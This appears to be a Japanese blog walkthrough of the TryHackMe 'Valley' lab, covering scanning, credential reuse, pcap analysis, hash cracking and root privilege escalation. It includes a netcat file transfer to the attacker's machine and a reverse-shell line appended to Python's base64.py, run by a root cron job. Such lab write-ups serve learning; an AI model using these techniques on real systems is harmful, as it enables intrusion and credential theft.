0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】Valley:Walkthrough

Posted at

概要

TryHackMe「Valley」のWalkthroughです。

Task1

Q1.What is the user flag?

ポートスキャンを実行します。

$ nmap -Pn -T4 -sVC -A --min-rate 5000 -p- 10.10.155.251 -oN nmap_result
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 c2:84:2a:c1:22:5a:10:f1:66:16:dd:a0:f6:04:62:95 (RSA)
|   256 42:9e:2f:f6:3e:5a:db:51:99:62:71:c4:8c:22:3e:bb (ECDSA)
|_  256 2e:a0:a5:6c:d9:83:e0:01:6c:b9:8a:60:9b:63:86:72 (ED25519)
80/tcp    open     http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.41 (Ubuntu)
37370/tcp open     ftp     vsftpd 3.0.3
58652/tcp filtered unknown

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 8.2p1
80 http Apache httpd 2.4.41
37370 ftp vsftpd 3.0.3

Webサービスのディレクトリスキャンをします。

$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://10.10.155.251/FUZZ -recursion -recursion-depth 1 -ic -c
                        [Status: 200, Size: 1163, Words: 176, Lines: 39, Duration: 242ms]
gallery                 [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 237ms]
static                  [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 237ms]
pricing                 [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 238ms]

/pricing/note.txtを発見しました。

/pricing/note.txt
J,
Please stop leaving notes randomly on the website
-RP

文言から他にもメモがありそうです。
さらにディレクトリスキャンをしていると/static/00を発見しました。

[INFO] Starting queued job on target: http://10.10.155.251/static/FUZZ

                        [Status: 200, Size: 567, Words: 43, Lines: 15, Duration: 238ms]
4                       [Status: 200, Size: 7389635, Words: 0, Lines: 0, Duration: 0ms]
00                      [Status: 200, Size: 127, Words: 15, Lines: 6, Duration: 301ms]
dev notes from valleyDev:
-add wedding photo examples
-redo the editing on #4
-remove /dev1243224123123
-check for SIEM alerts

/dev1243224123123パスが書かれているのでアクセスするとログインページが表示されました。

login form.jpg

ソースコードからdev.jsを発見したのでコードを見ると認証情報を得られました。

dev.js
loginButton.addEventListener("click", (e) => {
    e.preventDefault();
    const username = loginForm.username.value;
    const password = loginForm.password.value;

    if (username === "siemDev" && password === "california") {
        window.location.href = "/dev1243224123123/devNotes37370.txt";
    } else {
        loginErrorMsg.style.opacity = 1;
    }
})

ログインすると再度メモが表示されました。

/dev1243224123123/devNotes37370.txt
dev notes for ftp server:
-stop reusing credentials
-check for any vulnerabilies
-stay up to date on patching
-change ftp port to normal port

FTPで認証情報を使いまわせそうです。
FTPのログインに成功しました。

$ ftp -P 37370 10.10.155.251
Connected to 10.10.155.251.
220 (vsFTPd 3.0.3)
Name (10.10.155.251:kali): siemDev
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

3つのpcapファイルがあるのですべてダウンロードします。

ftp> ls
229 Entering Extended Passive Mode (|||65516|)
150 Here comes the directory listing.
-rw-rw-r--    1 1000     1000         7272 Mar 06  2023 siemFTP.pcapng
-rw-rw-r--    1 1000     1000      1978716 Mar 06  2023 siemHTTP1.pcapng
-rw-rw-r--    1 1000     1000      1972448 Mar 06  2023 siemHTTP2.pcapng
226 Directory send OK.

siemHTTP2.pcapngの中でHTTPのPOSTリクエストパケットを発見しました。
それにより、ユーザー名とパスワードを得られました。

pcap post.jpg

得られたUsername: valleyDev,Password: ph0t0s1234でSSHログインに成功しました。

$ ssh valleyDev@10.10.155.251
valleyDev@valley:~$

/home/valleyDev/user.txtからユーザーフラグを入手できました。

/home/valleyDev/user.txt
THM{k@l1_1n_th3_v@lley}

A.THM{k@l1_1n_th3_v@lley}

Q2.What is the root flag?

/etc/crontabを確認すると/photos/script/photosEncrypt.pyを発見しました。

1  *    * * *   root    python3 /photos/script/photosEncrypt.py

コードの中身を見ます。

/photos/script/photosEncrypt.py
#!/usr/bin/python3
import base64
for i in range(1,7):
# specify the path to the image file you want to encode
        image_path = "/photos/p" + str(i) + ".jpg"

# open the image file and read its contents
        with open(image_path, "rb") as image_file:
          image_data = image_file.read()

# encode the image data in Base64 format
        encoded_image_data = base64.b64encode(image_data)

# specify the path to the output file
        output_path = "/photos/photoVault/p" + str(i) + ".enc"

# write the Base64-encoded image data to the output file
        with open(output_path, "wb") as output_file:
          output_file.write(encoded_image_data)

現状権限昇格のアプローチは見つかりませんでした。

/homeを見るとvalleyAuthenticatorを発見しました。

$ ls -la
total 752
drwxr-xr-x  5 root      root        4096 Mar  6  2023 .
drwxr-xr-x 21 root      root        4096 Mar  6  2023 ..
drwxr-x---  4 siemDev   siemDev     4096 Mar 20  2023 siemDev
drwxr-x--- 16 valley    valley      4096 Mar 20  2023 valley
-rwxrwxr-x  1 valley    valley    749128 Aug 14  2022 valleyAuthenticator
drwxr-xr-x  6 valleyDev valleyDev   4096 Oct  4 06:14 valleyDev

実行するとユーザー名とパスワードを求められました。

$ ./valleyAuthenticator 
Welcome to Valley Inc. Authenticator
What is your username: valleyDev
What is your password: ph0t0s1234
Wrong Password or Username

Kaliにダウンロードします。
Netcatでリッスンします。

$ nc -nlvp 7777 | tar xf -

ターゲットマシンからファイルを送信します。

$ tar cf - valleyAuthenticator | nc 10.6.55.144 7777

stringsコマンドで見るとUPXでパッキングされています。

$ strings valleyAuthenticator  
UPX!

アンパックします。

$ upx -d valleyAuthenticator               
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2024
UPX 4.2.2       Markus Oberhumer, Laszlo Molnar & John Reiser    Jan 3rd 2024

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
   2290962 <-    749128   32.70%   linux/amd64   valleyAuthenticator

Unpacked 1 file.

ファイルの中にパスワードがあるか確認します。

$ strings valleyAuthenticator | grep password -C 10
[]A\A]A^
t*f.
[]A\
I9\$xv.I
T$pH
tKU1
e6722920bab2326f8217e4bf6b1b58ac
dd2921cc76ee3abfd2beb60709056cfb
Welcome to Valley Inc. Authenticator
What is your username: 
What is your password:

ハッシュ値の様な文字列を得られたので解析するとユーザー名とパスワードを確認できました。

$ john hash1 --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5
liberty123       (?)

$ john hash2 --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5
valley           (?)

得られた認証情報でvalleyアカウントに昇格できました。

$ su valley
Password: 
valley@valley:/home$

再度/photos/script/photosEncrypt.pyに注目するとbase64ライブラリが使用されています。
ライブラリのパスを確認します。

$ locate base64.py
/snap/core20/1611/usr/lib/python3.8/base64.py
/snap/core20/1828/usr/lib/python3.8/base64.py
/usr/lib/python3.8/base64.py

パーミッションを確認するとvalleyAdminグループに書き込み権限があります。

$ ls -la /usr/lib/python3.8/base64.py
-rwxrwxr-x 1 root valleyAdmin 20382 Mar 13  2023 /usr/lib/python3.8/base64.py

valleyアカウントはvalleyAdminグループに所属しています。

$ id
uid=1000(valley) gid=1000(valley) groups=1000(valley),1003(valleyAdmin)

/usr/lib/python3.8/base64.pyにリバースシェルのペイロードを追記します。

/usr/lib/python3.8/base64.py
#! /usr/bin/python3.8

"""Base16, Base32, Base64 (RFC 3548), Base85 and Ascii85 data encodings"""

# Modified 04-Oct-1995 by Jack Jansen to use binascii module
# Modified 30-Dec-2003 by Barry Warsaw to add full RFC 3548 support
# Modified 22-May-2007 by Guido van Rossum to use bytes everywhere

import re
import struct
import binascii
# 追記
import os

# 追記
os.system('bash -c "bash -i >& /dev/tcp/10.6.55.144/1234 0>&1"')

__all__ = [
    # Legacy interface exports traditional RFC 2045 Base64 encodings

(省略)

Netcatでリッスンしているとrootのシェルを張れました。

$ nc -lvnp 1234           
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.155.251] 39184
bash: cannot set terminal process group (57223): Inappropriate ioctl for device
bash: no job control in this shell
root@valley:~#

/root/root.txtからルートフラグを入手できます。

/root/root.txt
THM{v@lley_0f_th3_sh@d0w_0f_pr1v3sc}

A.THM{v@lley_0f_th3_sh@d0w_0f_pr1v3sc}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?